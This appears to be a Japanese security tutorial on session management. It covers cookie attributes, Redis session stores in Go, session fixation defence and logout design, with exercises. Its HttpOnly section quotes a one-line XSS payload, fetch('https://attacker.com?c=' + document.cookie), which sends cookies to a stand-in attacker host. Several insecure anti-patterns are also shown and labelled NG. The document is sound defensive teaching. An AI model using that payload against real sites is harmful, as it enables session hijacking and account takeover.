2-2. セッション管理 - Cookie 属性とセッションストア
所要時間: 40-60分(がっつりなら2セッション分) ゴール: Cookie の全属性を実務判断つきで設定でき、セッション固定攻撃を防げる。Go で Redis セッションストアを実装できる コミット内容:
~/learn/security/day-session/に Cookie 検証コードとセッションサーバー
前章とのつながり
このレッスンの位置づけ
実害シーン: セッション周りの事故
- メルカリ (2017): 一時 Cookie 取り扱いミスで他人のアカウントにログインしたまま入れる事象 → サービス停止
- 某SaaS: ログアウト時にサーバー側ストアを消し忘れ、退職者が依然としてアクセス可能
- 古いPHP/CGIサイト: セッションID が URL に出る(
PHPSESSID=...)→ Referer 経由で漏洩- Wi-Fi + HTTP: Cookie に
Secure属性なし → カフェでセッション奪取(Firesheep 事案)
大前提: セッションとは何か、なぜ JWT より「枯れている」のか
HTTP はステートレスです。1回のリクエストごとに「あなた誰?」を聞き直さないと、サーバーはユーザーを区別できない。
セッションは、その問題を解決する古典的かつ最も枯れた方式:
- ログイン成功時、サーバーがランダムなID(セッションID)を発行
- それを Cookie でブラウザに渡す
- ブラウザは次回以降、自動でその Cookie を付けてリクエスト
- サーバーは Cookie の ID で「これは誰のセッションか」をサーバー側のストアから引く
JWT が「自己完結する署名付きトークン」なのに対し、セッションは「ID だけ渡して、本体はサーバーが持つ」 方式。実装は単純で、ログアウト即時反映・権限変更即時反映が容易。
「Webアプリで普通にログインを作る」なら、セッションは今でも第一選択。Rails の cookie_store、Django の django.contrib.sessions、Laravel の session など、有名フレームワークの認証はすべてこの方式が基本。
しかし、Cookie の属性を1つ間違えるだけで:
- XSS で全ユーザーのセッションを奪取される(HttpOnly なし)
- CSRF で全ユーザーが攻撃者の操作を実行させられる(SameSite なし)
- HTTPS なしで盗聴される(Secure なし)
このレッスンでは Cookie の各属性の意味と、セッションストアの選び方を実務レベルで詰める。
セッション①: Cookie 属性を完全理解(30分)
1. セッション Cookie の基本形
ログイン成功時、サーバーが返すレスポンスヘッダ:
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123xyz; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400各属性が「セキュリティの最後の砦」。順に見ていく。
2. HttpOnly - JavaScript からのアクセスを禁止
Set-Cookie: session_id=abc123; HttpOnlyHttpOnly の本質
JavaScript(
document.cookie)からこの Cookie を 見えなくする 属性。これが無いと何が起きるか: サイトに XSS が1箇所でもあると、攻撃者の JS が走った瞬間
fetch('https://attacker.com?c=' + document.cookie);でセッション ID 全部抜かれる → 攻撃者がそのまま被害者としてログイン状態を再現できる。
HttpOnly が付いていれば
document.cookieには現れないので、XSS が起きてもセッションは盗まれない。ただし HttpOnly は「XSS の被害を限定する」ものであって「XSS の発生を防ぐ」ものではない。XSS 自体は XSS レッスン で対策する。
HttpOnly なし = 事故予備軍
自社サービスで
Set-Cookieを直接書いている箇所があるなら、今すぐ HttpOnly が付いているか確認する。フレームワーク経由ならデフォルトで付いているはずだが、自前実装は要注意。
3. Secure - HTTPS でしか送信しない
Set-Cookie: session_id=abc123; SecureSecure の本質
ブラウザがこの Cookie を HTTPS 通信でしか送信しない よう指示する属性。
無い場合、ユーザーが http:// で同サイトにアクセスすると、平文で Cookie が流れる → Wi-Fi 盗聴や中間者攻撃でセッション漏洩。
本番(公開 Web サービス)は HTTPS が当然なので、Secure は常に付ける。開発環境(localhost)では Secure が付いていると Cookie が送られないので、環境変数で切り替える実装が多い。
// 開発と本番で切り替え
secure := os.Getenv("ENV") == "production"
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sid,
HttpOnly: true,
Secure: secure,
SameSite: http.SameSiteLaxMode,
Path: "/",
})4. SameSite - クロスサイト送信の制御
| 値 | 挙動 | 用途 |
|---|---|---|
Strict | 別サイトからの遷移時には一切送らない | 銀行など最も厳しいケース |
Lax | トップレベルナビゲーション(リンククリック)の GET だけ送る。POST は送らない | 現在のデフォルト、多くのケースで適切 |
None | 常に送る(要 Secure) | クロスサイト埋め込みが必要な広告/iframe |
SameSite の歴史と現在
2020年の Chrome 80 から、SameSite を指定しない Cookie は自動的に
Lax扱いになった(それまではNone同等)。これによって多くの CSRF 攻撃が事実上自動防御されるようになった。リンククリックで開いた銀行サイトは Cookie が送られるが、攻撃サイトからの
POSTリクエストには Cookie が付かない。実務的な推奨:
- 通常のログイン Cookie:
SameSite=Lax(迷ったらこれ)- 決済・銀行・管理画面など最高セキュリティ:
SameSite=Strict- クロスサイト埋め込みが必須(決済 iframe など):
SameSite=None; Secure(必ず Secure とセット)CSRF レッスン でさらに掘り下げる。
SameSite=None には必ず Secure を
ブラウザは
SameSite=NoneをSecureなしでは拒否する。SameSite=Noneを選ぶならその時点で本番 HTTPS 前提。
5. Path / Domain / Max-Age / Expires
Set-Cookie: session_id=abc; Path=/; Domain=example.com; Max-Age=86400Path / Domain の本質
- Path=/ : このサイトのどのパスでも Cookie を送る(普通はこれ)
- Path=/admin :
/admin/*のリクエストでしか送らない- Domain=example.com : サブドメインを含めて送る(
api.example.comでもwww.example.comでも)- Domain 指定なし: その正確なホスト名のみ
落とし穴:
Domain=example.comと書くと「example.com とそのサブドメイン全部」に送られる。共有サブドメインに XSS があると Cookie が漏洩する範囲が広がる。必要最小限の指定が原則。
Max-Age vs Expires
- Max-Age : 秒数。
Max-Age=86400で 24時間- Expires : 絶対時刻 (
Expires=Wed, 21 Oct 2026 07:28:00 GMT)- Max-Age がモダン、Expires はレガシー。両方付ければ Max-Age が優先
- どちらも指定しない場合: ブラウザを閉じると消える「セッション Cookie」(混乱しやすい命名)
6. ちゃんとした Set-Cookie の最終形
Set-Cookie: session_id=abc123xyz;
Path=/;
HttpOnly;
Secure;
SameSite=Lax;
Max-Age=86400「全部入り」の意味
HttpOnly: XSS でセッション奪取を防ぐSecure: HTTPS だけで送るSameSite=Lax: CSRF をデフォルト防御Max-Age=86400: 1日で自動失効(適切な範囲を設定)Path=/: アプリ全体で使うこの4属性を欠かさず付けるのがセッション Cookie の基本。フレームワークがデフォルトで付けてくれるか確認する癖を。
7. アンチパターン: HttpOnly / Secure / SameSite を付け忘れる
危険な Cookie 設定
// NG: 何も指定していない http.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sid, })なぜNGか:
- HttpOnly なし → XSS でセッション奪取
- Secure なし → http で送信される可能性、盗聴リスク
- SameSite なし → ブラウザによって挙動が変わる(Chrome は Lax、Safari は None 相当の挙動が残っている時期があった)
既存コードで
&http.Cookie{Name:..., Value:...}の3行しか書いていない箇所は全部リスク。
アンチパターン: URL にセッションID
https://example.com/page?sid=abc123xyzなぜNGか: URL は Referer ヘッダで外部サイトに漏れる、ブラウザ履歴に残る、共有時にコピペで漏れる。Cookie で運ぶのが鉄則。昔の Java EE / PHP では
jsessionidを URL に入れる仕様があったが、現在は禁忌。
セッション②: セッションストアと攻撃対策(30分)
8. セッションストアの選択
「セッション ID と本体(ユーザー情報)の対応」をどこに置くか。
| ストア | 速度 | 永続性 | 複数サーバー対応 | 用途 |
|---|---|---|---|---|
| プロセスメモリ | 最速 | アプリ再起動で消失 | NG | 開発用、単一サーバー |
| Redis / Memcached | 速い | 永続化設定で残る | OK | 本番の第一選択 |
| RDB (MySQL/Postgres) | 遅め | 永続 | OK | 監査要件あり、低トラフィック |
| Cookie 本体に格納 | サーバー不要 | クライアント次第 | OK | Rails の cookie_store(要署名・暗号化) |
Redis が本命の理由
セッションは典型的に:
- TTL(生存期間)が必要 → Redis の
EXPIREが天才的に便利- 読み書きが頻繁 → メモリベースで超高速
- 複数 Web サーバー間で共有が必要 → ネットワーク越しに使える
AWS なら ElastiCache for Redis、GCP なら Memorystore、self-hosted なら素の Redis でOK。
プロセスメモリ保存の罠
// NG: 単一プロセスのメモリにセッション var sessions = map[string]Session{}なぜNGか:
- サーバー再起動で全ユーザーがログアウト
- 複数台にロードバランスすると、サーバーをまたいで動くと「ログインしてない扱い」
- メモリリーク(古いセッションを消す処理を自前で書く必要)
学習用ならOKだが、本番では Redis などに移す。
9. セッション固定攻撃と再生成
セッション固定攻撃(Session Fixation) の流れ:
1. 攻撃者が自分のセッションID(abc123)をサイトから取得
2. 被害者にそのIDを「埋め込んだ」リンクを踏ませる
例: https://example.com/?session_id=abc123 ← URL でIDを渡す古い実装が前提
または XSS で Cookie をセット
3. 被害者がそのIDのまま正常にログイン
4. 攻撃者は abc123 を使えば被害者のアカウントにアクセスできる
防御: ログイン成功時にセッション ID を必ず再生成
// ログイン成功時 oldSID := getSessionID(r) store.Delete(oldSID) // 古いやつを破棄 newSID := generateSecureRandomID() // 新規発行 store.Save(newSID, userInfo) setCookie(w, "session_id", newSID)「ログイン後のセッションIDは、ログイン前と必ず違う」これがセッション固定攻撃の根本対策。
Rails では
reset_session、PHP ではsession_regenerate_id(true)に相当。
10. ログアウトの実装
// 適切なログアウト
func logout(w http.ResponseWriter, r *http.Request) {
sid, err := getSessionIDFromCookie(r)
if err == nil {
store.Delete(sid) // サーバー側でも破棄
}
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: "",
Path: "/",
MaxAge: -1, // 即削除
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
}アンチパターン: クライアントの Cookie だけ消すログアウト
// NG: サーバー側のセッションが残る func logout(w http.ResponseWriter, r *http.Request) { http.SetCookie(w, &http.Cookie{Name: "session_id", MaxAge: -1}) // store.Delete(sid) を呼んでいない }なぜNGか: ユーザーは「ログアウトした」と思っているが、攻撃者が事前に奪った同じ session_id を使えばまだログイン状態で操作できる。サーバー側のセッション本体を破棄しないと意味がない。
11. 複数デバイスログアウト
「全デバイスからログアウト」「乗っ取られたかも、全部切る」機能の作り方:
方式A: ユーザーIDをキーに、そのユーザーの全セッションIDをセットで持つ
user:42:sessions = ["abc", "def", "xyz"]
ログアウト時にこのセットを全部消す
方式B: ユーザーごとに session_version を持つ
ログイン中のセッションは検証時に version を比較
「全ログアウト」は version をインクリメントするだけ
実用上の選び方
- 単純実装: 方式A(Redis の Set 型でユーザーごとに sid 集合を管理)
- 大規模: 方式B(巨大なセット操作を避ける)
- 監査ログ重視: セッションテーブルに
user_id, sid, created_at, last_seen_at, user_agent, ipを保存。Spotify などのデバイス管理画面はこれ
12. Go で Redis セッションを書く(最小実装)
package main
import (
"context"
"crypto/rand"
"encoding/hex"
"encoding/json"
"net/http"
"time"
"github.com/redis/go-redis/v9"
)
type Session struct {
UserID string `json:"user_id"`
CreatedAt time.Time `json:"created_at"`
}
var rdb = redis.NewClient(&redis.Options{Addr: "localhost:6379"})
var ctx = context.Background()
func newSessionID() string {
b := make([]byte, 32) // 256bit
_, _ = rand.Read(b) // crypto/rand なので予測不可
return hex.EncodeToString(b)
}
func saveSession(sid string, s Session) error {
data, _ := json.Marshal(s)
return rdb.Set(ctx, "sess:"+sid, data, 24*time.Hour).Err()
}
func loadSession(sid string) (*Session, error) {
data, err := rdb.Get(ctx, "sess:"+sid).Bytes()
if err != nil {
return nil, err
}
var s Session
if err := json.Unmarshal(data, &s); err != nil {
return nil, err
}
return &s, nil
}
func deleteSession(sid string) error {
return rdb.Del(ctx, "sess:"+sid).Err()
}
func loginHandler(w http.ResponseWriter, r *http.Request) {
// ここで認証成功した前提
// 既存セッションがあれば破棄(固定攻撃対策)
if old, err := r.Cookie("session_id"); err == nil {
_ = deleteSession(old.Value)
}
sid := newSessionID()
_ = saveSession(sid, Session{UserID: "user-42", CreatedAt: time.Now()})
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sid,
Path: "/",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 86400,
})
}このコードのポイント
crypto/randを使用(math/randは予測可能、絶対 NG)- 256bit のセッションID(推測不可能な長さ)
- ログイン時に既存セッション破棄 → セッション固定攻撃防止
- Cookie 4属性すべて指定
- Redis に TTL 設定(自動失効)
アンチパターン: math/rand でセッションID
// NG: math/rand は予測可能 import "math/rand" rand.Seed(time.Now().Unix()) sid := fmt.Sprintf("%d", rand.Int63())なぜNGか:
math/randは決定論的疑似乱数。シード値が分かれば未来の値を予測できる。さらにtime.Now().Unix()でシードしているのは典型的弱さ(攻撃者が時刻からシードを推測)。乱数は必ずcrypto/rand。
13. JWT との比較(再確認)
| 項目 | セッション | JWT |
|---|---|---|
| サーバー側状態 | 必要(ストア) | 不要 |
| 失効 | 即時可能 | 困難(短命設計が基本) |
| 横展開(マイクロサービス) | DB / Redis 共有が必要 | 公開鍵検証で楽 |
| サイズ | 短い(ID だけ) | 長い(JSON 全体) |
| クライアント保存 | HttpOnly Cookie 一択 | Cookie or(注意して)localStorage |
| 実装難易度 | 低い(フレームワーク標準) | 中(脆弱性多数) |
判断指針:
- モノリス Web アプリ → セッション
- マイクロサービス / モバイル / OIDC → JWT
- 「ログアウト即時反映」が必須 → セッション
練習課題
mkdir -p ~/learn/security/day-session
cd ~/learn/security/day-session
docker run -d --name dev-redis -p 6379:6379 redis:7- 上記 Go コードで簡易ログインサーバーを作り、
curl -vでSet-Cookieを観察 HttpOnlySecureSameSiteがそれぞれ含まれているか確認- ブラウザの DevTools → Application → Cookies で同じ属性が見えるか確認
- ログイン → ログアウト → 同じ Cookie 値で再アクセスして「セッションが切れている」ことを確認
- ログイン2回連続で行い、毎回
session_idが変わることを確認(固定攻撃対策の動作確認) - Redis CLI で
KEYS "sess:*"を打って、保存されたセッションを直接見る
締め: git で証跡を残す
cd ~/learn/security/day-session
git init
git add main.go go.mod go.sum
echo ".env" > .gitignore
git add .gitignore
git commit -m "feat(security): セッション管理を Redis で実装、固定攻撃対策込み"チェックリスト
- HttpOnly / Secure / SameSite / Path / Domain の意味と効果を全部言える
- SameSite=Lax がデフォルトになった経緯と CSRF への効果を説明できる
- セッション固定攻撃の流れと、ログイン時の ID 再生成で防げる理由を説明できる
- セッションストアの選択肢(メモリ / Redis / DB / Cookie 本体)の長短を語れる
-
crypto/randで十分長いセッション ID を生成できる - ログアウト時にサーバー側ストアの破棄を忘れないコードが書ける
- 複数デバイスログアウトの2方式を説明できる
- セッション vs JWT を要件から選び分けられる
詰まった時のチートシート
| やりたいこと | コード |
|---|---|
| 全属性付きの Cookie | &http.Cookie{HttpOnly:true, Secure:true, SameSite:http.SameSiteLaxMode, Path:"/"} |
| Cookie 即削除 | MaxAge: -1 |
| 安全な乱数ID | b := make([]byte,32); rand.Read(b); hex.EncodeToString(b) |
| Redis に TTL 付き保存 | rdb.Set(ctx, key, val, 24*time.Hour) |
| セッション再生成 | 旧 sid を Delete → 新 sid を Save → Cookie 上書き |
| 全デバイスログアウト | user:id:sessions の Set を全削除 |
「実務OK」基準
Set-Cookieを見たら HttpOnly / Secure / SameSite が付いているか即チェックできる- セッション固定攻撃を口頭で説明し、防御コードを書ける
math/randとcrypto/randの違いを即座に言える- Redis での TTL 付き Set/Get/Del が書ける
- ログアウト処理で「サーバー側ストアを消し忘れる」事故を避けられる
さらに深掘りするなら
- RFC 6265 (HTTP State Management Mechanism) - Cookie 仕様の原典
- OWASP Session Management Cheat Sheet - 業界標準のチェックリスト
- Rails の
ActionDispatch::Session::CookieStoreソース - 署名・暗号化された Cookie の実装例 gorilla/sessionsのソース - Go の代表的セッションライブラリ- Chrome SameSite-by-Default の Web.dev 記事 - 2020年の変更詳細
メタ認知: 自分の理解度を診断する
30秒セルフテスト
HttpOnly,Secure,SameSiteの3属性の役割を それぞれ1文- SameSite
StrictとLaxの違い- セッション固定攻撃の 防御の1行 はどのタイミングで何をする?
math/randをセッションIDに使ってはいけない理由- JWT とセッション、マイクロサービスなら どちらを選ぶ?
詰まったら → セッション①の Cookie 属性一覧と、セッション②の固定攻撃シーケンスを再読。
次のレッスン
2-3 CSRF と SSRF で、クロスサイト系の攻撃(CSRF・SSRF)と Cookie・SameSite の関係をさらに詰める。
間隔反復ポイント
Cookie 属性は 新規プロジェクトの最初の設定 で何度も書く。1ヶ月後に「詰まった時のチートシート」を眺める習慣で、設定をミスらない体になる。